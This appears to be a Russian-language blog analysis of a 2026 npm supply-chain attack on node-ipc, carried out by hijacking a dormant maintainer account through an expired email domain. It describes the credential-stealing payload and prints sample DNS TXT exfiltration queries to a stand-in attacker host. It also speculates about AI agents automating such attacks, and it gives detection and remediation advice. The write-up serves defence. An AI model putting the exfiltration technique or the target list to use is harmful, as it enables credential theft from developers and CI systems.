
Сцена первая. 14:25 UTC, 14 мая 2026
За одну минуту в npm-registry были опубликованы три новые версии пакета node-ipc: 9.1.6, 9.2.3 и 12.0.1. Издатель — atiertant, аккаунт, который не публиковал ничего годами и значился в списке мейнтейнеров скорее по инерции.
Через три минуты AI-сканер Socket пометил версии как malicious. Через два часа npm-команда удалила их из registry. За эти два часа пакет успел разойтись по миру через npm install и npm ci во всём, что собиралось в это окно.
node-ipc — это библиотека межпроцессного взаимодействия для Node.js. 822 тысячи скачиваний в неделю. 3,35 миллиона в месяц. Транзитивная зависимость во множестве популярных пакетов — от dApp-пайплайнов криптопроектов до инструментов разработки и фреймворков. Если у вас в package.json есть что-то крупное и популярное — вероятность, что node-ipc приехал к вам через цепочку зависимостей, высокая. Загляните в свой package-lock.json поиском по слову node-ipc — почти наверняка найдёте.

Если ваш CI собирался в окно с 14:25 до 16:30 UTC 14 мая, и ваш package-lock.json допускал автоматические обновления в диапазоне ^9.x или ^12.x — у вас были утечены credentials. AWS-ключи. SSH-ключи. Содержимое .env. Kubernetes-конфиги. Токены OpenAI и Anthropic.
И самое неприятное: вы об этом не знаете. Не потому, что вы плохо мониторите. А потому, что эта атака целенаправленно строилась так, чтобы пройти мимо всех ваших мониторингов.
Сейчас разберём, как.
Сцена вторая. Атака, которая не нуждалась во взломе
Прежде чем нырнуть в payload, важно понять одну вещь. npm никто не ломал. Учётные данные atiertant никто не подбирал. Двухфакторку никто не обходил. Здесь не было ни одного взлома в техническом смысле этого слова.
Хронология выглядит так:
10 января 2001 года. Регистрируется домен
atlantis-software.net, у OVH. Позже почта на этом домене оказывается привязана к одному из 12 npm-мейнтейнеров пакетаnode-ipc— аккаунтуatiertant. Сам аккаунт, судя по публикациям, был неактивен годами.10 января 2025 года. Регистрация домена истекает. Никто её не продлевает.
atlantis-software.netуходит в пул свободных.7 мая 2026 года. Атакующий регистрирует
atlantis-software.netв Namecheap. Цена регистрации — около девяти долларов за год.7-13 мая 2026 года. Атакующий поднимает на домене почтовую инфраструктуру через Namecheap PrivateEmail. Теперь любая почта на
*@atlantis-software.netприходит ему.14 мая 2026 года. Атакующий идёт на npmjs.com, жмёт «forgot password» для аккаунта
atiertant. Письмо для восстановления приходит ему на воскрешённый домен. Он сбрасывает пароль и получает полный publish-доступ к пакетуnode-ipc.
То, что мы привыкли называть «компрометацией аккаунта мейнтейнера», в этом случае реализуется через регистратор доменов. Всё остальное — стандартная функциональность npm: восстановление пароля по email работает ровно так, как и должна.
Цепочка доверия выглядит так: npm доверяет email-адресу. Email-адрес доверяет DNS. DNS доверяет регистратору домена. Регистратор доверяет тому, кто заплатил. Девять долларов в Namecheap. Меньше, чем стоит ужин.
Что делал payload
Технически интересного здесь много, и стоит пройтись по нему построчно.
Атакующий не воспользовался привычным вектором — postinstall-скриптом в package.json. Вместо этого payload встроен непосредственно в код пакета: в файл node-ipc.cjs, который является CommonJS-точкой входа. ESM-обёртка (node-ipc.js) осталась чистой. Это означает, что разработчики, использующие import nodeIpc from 'node-ipc' через современную ESM-семантику, payload не получили. Затронуты были только проекты, использующие старый require('node-ipc') — но таких большинство.
Сам payload — это обфусцированный IIFE (Immediately Invoked Function Expression), вставленный в конец бандла. Размер — около 80 килобайт после деобфускации. Запускается он не через require, а через setImmediate() — то есть на следующем тике event loop’а после загрузки модуля. Это выбрано, чтобы не блокировать require() и не вызвать подозрений по тайминам.
Запустившись, payload форкается в отдельный процесс с переменной окружения __ntw=1. Эта переменная — флаг «я уже запущен», чтобы избежать рекурсивного запуска, если приложение использует кластеризацию или Worker Threads. Дочерний процесс отрабатывает в фоне даже если основной процесс приложения завершится по своим причинам.
Дальше начинается harvesting. Список целей у этого payload насчитывает около 90 категорий. Среди подтверждённых исследователями Socket и Upwind:
AWS access keys и secret keys из
~/.aws/credentials,~/.aws/config.envи.env.*файлы из рабочего каталогаSSH-ключи из
~/.ssh/(приватные)Kubernetes config из
~/.kube/configDocker credentials из
~/.docker/config.jsonGitHub/GitLab tokens из переменных окружения и конфигов
API-ключи AI-сервисов (OpenAI, Anthropic и другие) из переменных окружения
npm tokens из
~/.npmrcGit credentials helper cache
Конфиги CI/CD-агентов: GitLab Runner, Jenkins, GitHub Actions runner
Собранное сжимается в gzip-tarball, складывается во временный путь <tmp>/nt-<pid>/<machineHex>.tar.gz, шифруется и отправляется наружу.
И вот здесь начинается самое интересное.
Почему DNS, а не HTTPS
Атакующий не делает https.request() или fetch() на удалённый сервер. Он не открывает прямые TCP-соединения. Он не использует WebSocket. Любой из этих каналов в production-окружении хотя бы потенциально мониторится: исходящие HTTPS видит egress-proxy, прямые TCP-соединения наружу с production-хоста — это уже аномалия для большинства сетапов.
Вместо этого payload разбивает зашифрованные данные на небольшие чанки и отправляет их через DNS TXT-запросы к контролируемому атакующим NS-серверу. Запросы выглядят примерно так:
xh.aGVsbG93b3JsZAo.exfil.evil.example.com TXT? xh.dGVzdGRhdGEK.exfil.evil.example.com TXT? xh.bW9yZWRhdGEK.exfil.evil.example.com TXT?
Префикс перед первой точкой — xh., xd. или xf. — кодирует тип содержимого (header, data, footer). Между точками — Base32-закодированный чанк зашифрованных данных. Authoritative NS-сервер на стороне атакующего получает каждый запрос, парсит, складирует и отвечает любым TXT-record’ом — например, пустой строкой.
Для системы выглядит это так: процесс node зачем-то резолвит DNS-запросы. Резолв DNS — это абсолютно нормальная активность для любого приложения, особенно для node-приложения, которое почти всегда что-то куда-то стучит.
Почему это работает.
SIEM не парсят DNS. В подавляющем большинстве SIEM-инструментов (Splunk, Elastic, Wazuh, Sentinel) логирование DNS-запросов либо вообще не настроено, либо настроено только на уровне «доменов второго уровня». Запрос к evil.example.com будет залогирован как «доступ к домену example.com» — без длинного prefix’а, который и есть payload.
Фаерволы DNS не блокируют. Хост, который не может резолвить DNS, не может работать. UDP/53 наружу пропускают все. Egress-фильтрация в большинстве production-окружений касается HTTP/HTTPS, иногда SSH, но не DNS.
DNS over HTTPS усугубляет. Если в системе настроен resolver на DoH (DNS over HTTPS) — что в 2026 году скорее норма, чем исключение — даже сетевой мониторинг не видит содержимое DNS-запросов. Всё уходит зашифрованным к публичному резолверу (1.1.1.1, 8.8.8.8), и оттуда уже к authoritative NS атакующего.
Объём трафика мизерный. Зашифрованные ~/.ssh/id_rsa плюс ~/.aws/credentials — это меньше 10 килобайт. Через TXT-запросы с типичным размером чанка 200 байт — это около 50 DNS-запросов. Пятьдесят DNS-запросов от node-приложения за минуту — это не аномалия, это норма.
Ловить такое надо специализированными решениями: Cloudflare Gateway, Cisco Umbrella, AdGuard Home с custom-правилами, либо собственным DNS resolver’ом с логированием полного запроса и аномалийной аналитикой. В большинстве компаний этого нет. У большинства разработчиков на личных машинах — тем более нет.
Третий раз — это уже не случайность
История пакета node-ipc — это отдельный учебный кейс по supply chain.
2022 год. Сам мейнтейнер пакета, Brandon Nozaki Miller (RIAEvangelist), в марте 2022 выкатывает версии 10.1.1 и 10.1.2 с встроенным destructive payload’ом. Payload определяет геолокацию хоста по внешнему IP и, если хост находится в России или Беларуси, рекурсивно перезаписывает файлы в файловой системе. Через несколько дней автор публикует отдельный пакет peacenotwar и добавляет его как зависимость в node-ipc 11.0.0 и 11.1.0. Пакет был быстро отозван, мейнтейнер получил публичное порицание, на этом всё закончилось.
Тогда сообщество сделало вид, что урок усвоен. На самом деле — нет. Пакет остался в registry под тем же именем. Тысячи проектов, у которых он сидел в транзитивных зависимостях, продолжили его использовать.
2026 год, текущая атака. Уже другой actor, уже не идеологически мотивированный, а финансово. И уже не через мейнтейнера, а через купленный домен. Цель — credentials, потенциальная монетизация — продажа в даркнете или прямое использование для атак на найденные через украденные ключи cloud-аккаунты.
Между этими двумя инцидентами один и тот же пакет дважды использовался как оружие. И этот пакет до сих пор сидит в production-зависимостях огромного количества проектов.
Это и есть главный урок, который индустрия отказывается учить: пакет с историей злоупотребления остаётся пакетом с историей злоупотребления. Никакая ротация мейнтейнеров, никакой rebrand, никакое заявление «we take security seriously» этого не меняет. Если пакет один раз использовался как оружие, есть структурная вероятность, что это повторится — потому что он популярен, потому что он сидит в зависимостях, потому что он представляет собой высокоценную мишень.
Я не призываю удалять node-ipc отовсюду. Я призываю задуматься: сколько таких пакетов у вас в зависимостях прямо сейчас? Пакетов, которые лежат в node_modules через 4 уровня транзитивной вложенности, мейнтейнятся одним человеком, не обновлялись три года, и про которые вы никогда в жизни не слышали?
Архитектурный вектор: dormant-аккаунты везде
То, что произошло с atiertant, — не уникальная история. Это масштабируемая модель атаки, которая работает против любого реестра пакетов с email-based password recovery.
В npm на момент мая 2026 — 50+ миллионов пакетов. Активных мейнтейнеров — около 800 тысяч. Аккаунтов, которые не публиковали ничего более трёх лет — миллионы. И почти у каждого такого аккаунта восстановление пароля привязано к email на каком-то домене.
Часть этих доменов уже истекла. Часть истечёт в ближайшие годы. Кто-то использовал почту на корпоративном домене компании, которой больше нет. Кто-то — личный домен, который перестал продлевать. Кто-то — экзотический ccTLD, который сменил правила регистрации и стал доступен.
Каждый из этих аккаунтов — потенциальный вектор атаки. Стоимостью около десяти долларов.
И речь не только о npm. PyPI работает по той же схеме. RubyGems — тоже. crates.io — тоже. Hex (Erlang/Elixir) — тоже. Packagist (PHP) — тоже. Это структурная особенность всех современных package managers, основанных на email-аутентификации.
Я думаю, что ближайшие год-два мы увидим серию подобных инцидентов. Не потому, что один атакующий нашёл уязвимость — а потому, что весь рынок package managers стоит на email-биографиях, которые принципиально могут истечь.
Реальное решение — это привязка аккаунтов к hardware-ключам (FIDO2, YubiKey), отказ от email-based recovery для критичных пакетов, и обязательное multi-maintainer approval для публикации новых версий популярных пакетов. Ни одно из этих решений на данный момент не является default’ом ни в одном из крупных package managers. npm audit signatures через Sigstore существует уже несколько лет, но работает только для пакетов, которые подписаны автором. Большинство популярных пакетов ещё не подписано. И даже подписанный пакет, опубликованный со скомпрометированного аккаунта, будет «валидно подписан» — потому что аккаунт принадлежит атакующему.

Что делать прямо сейчас
Перейдём к практическому. Если вы прочитали всё выше и чувствуете себя неуютно — это правильное чувство. Вот что я бы сделал на вашем месте.
Если вы запускали npm install или npm ci 14 мая
Принцип простой: исходите из того, что credentials скомпрометированы, и действуйте соответственно. Не «возможно скомпрометированы», а «скомпрометированы». Это дороже по нервам, но дешевле по последствиям, чем попытка разобраться, что именно утекло.
Ротируйте:
Все AWS access keys, которые были в окружении сборки. Через AWS IAM Access Analyzer проверьте, не было ли подозрительной активности за последнюю неделю.
Все GitHub/GitLab Personal Access Tokens. Revoke, заведите новые с минимальными scope’ами.
Все npm tokens (
~/.npmrc). Особенно если они с правом публикации.SSH-ключи, которые были на машине. Заодно —
authorized_keysна всех серверах, куда эти ключи имели доступ.Содержимое всех
.env-файлов, которые лежали в репозитории на момент сборки. API-ключи, database passwords, секреты сторонних сервисов — всё, что там было.OpenAI, Anthropic, и прочие AI-API-ключи. Эти, кстати, часто забывают — а они стоят денег и могут быть использованы для генерации фишинговых писем от вашего имени.
Параллельно — проверьте логи cloud-аккаунтов на необычную активность. AWS CloudTrail, GCP Audit Logs, Azure Activity Logs. Любые iam:CreateAccessKey, lambda:CreateFunction из непривычных регионов за последнюю неделю — повод подозревать.
Если вы не запускали npm install 14 мая, но хотите спать спокойнее
Базовые меры, которые стоило сделать ещё вчера:
Lockfiles обязательны. package-lock.json (npm), yarn.lock (yarn), pnpm-lock.yaml (pnpm). Если у вас в репозитории его нет — добавьте. Это сразу исключает «случайные» обновления зависимостей в CI.
Hash checking. В lockfile должны быть integrity поля с SHA-512 хешами. Команда npm ci (в отличие от npm install) проверяет хеши и валится, если они не совпадают. В production-сборках всегда npm ci, никогда npm install.
Pinning стратегия. Замените ^1.2.3 (любая минорная) и ~1.2.3 (любой патч) на точные 1.2.3 для критичных зависимостей. Это создаёт неудобство при обновлениях, но даёт контроль.
Renovate / Dependabot с review. Автоматическое создание PR на обновление — да. Автоматический merge без ревью — нет. Никогда.
npm audit signatures. Если ваши критичные пакеты подписаны Sigstore — добавьте проверку в CI:
npm audit signatures
Эта команда упадёт, если хотя бы один пакет имеет невалидную подпись или подписан не тем ключом.
Принцип минимума зависимостей. Каждая зависимость — это поверхность атаки. Если функцию из библиотеки можно написать самому в 10 строк — пишите. is-odd с миллионом скачиваний в неделю — это не зависимость, это шутка над здравым смыслом.
Если вы хотите ловить DNS-эксфильтрацию
Тут уже инфраструктурная история. Я в своей лабе делаю так:
На VPS-уровне. На моём VPS стоит локальный DNS-resolver (Unbound), и весь исходящий DNS-трафик контейнеров идёт через него. Resolver логирует все запросы. Логи парсятся скриптом, который ищет аномалии: подозрительно длинные labels (более 30 символов в одной части), Base32/Base64 паттерны, аномально высокий QPS на один домен.
Уровень Docker. Каждый контейнер запускается с явно прописанным --dns 127.0.0.1 и без доступа к глобальной сети для DNS. Egress-фильтрация через iptables разрешает UDP/53 только на локальный resolver.
Tetragon или Falco. Если хочется идти глубже — eBPF-based observability показывает все syscall’ы. Можно написать правило: «если процесс node делает более 100 DNS-запросов за минуту к доменам, которые он не делал в первые 24 часа жизни — алерт».
Я не утверждаю, что у каждого должен быть такой сетап. Но сам факт, что без подобной инфраструктуры эта атака полностью невидима — это то, что должно беспокоить.
А теперь представьте, что это делает не человек
Всё, что я описал выше — это атака, проделанная человеком. Атакующий потратил неделю на подготовку: купил домен, поднял почту, написал payload, обфусцировал его, развернул NS-сервер для приёма данных. Это работа.
Но мы живём в 2026 году, и работа этого типа — ровно тот класс задач, на котором AI-агенты последнего поколения уже превосходят младших pen-тестеров. Найти dormant-аккаунт через cross-reference packages metadata и WHOIS-данных истёкших доменов — задача, которую модель типа Mythos Preview (закрытая модель Anthropic, доступная только Project Glasswing-партнёрам) делает за минуты. Написать обфусцированный credential stealer с DNS-эксфильтрацией — задача нескольких часов промптов. Развернуть инфраструктуру — Terraform-агент на claude code.
То есть атака, которую вы только что прочитали в технических деталях, — это нижняя оценка того, что нас ждёт. Когда подобные атаки начнут проводиться автоматизированными агентами в масштабе всех публичных package registries параллельно, это уже не будет «единичный инцидент». Это будет шум, в котором придётся жить.
О Mythos Preview и о том, что эта закрытая модель уже умеет, я подробно разберу в пятничной статье. Там будут такие сюжеты как 27-летняя дыра в OpenBSD, обход пятилетней разработки Apple Memory Integrity Enforcement за пять дней, и побег из песочницы с самостоятельной публикацией деталей побега на сторонних сайтах. Все случаи реальные, все подтверждены первоисточниками. Если тема близка — встретимся в пятницу.
Если у вас есть свой опыт работы с supply chain атаками, или вы знаете о других кейсах из последнего года, которые я пропустил — пишите в комментариях. Я планирую отдельную статью по DNS-эксфильтрации с практическими сетапами для обнаружения, и весь материал из комментариев пойдёт в дело.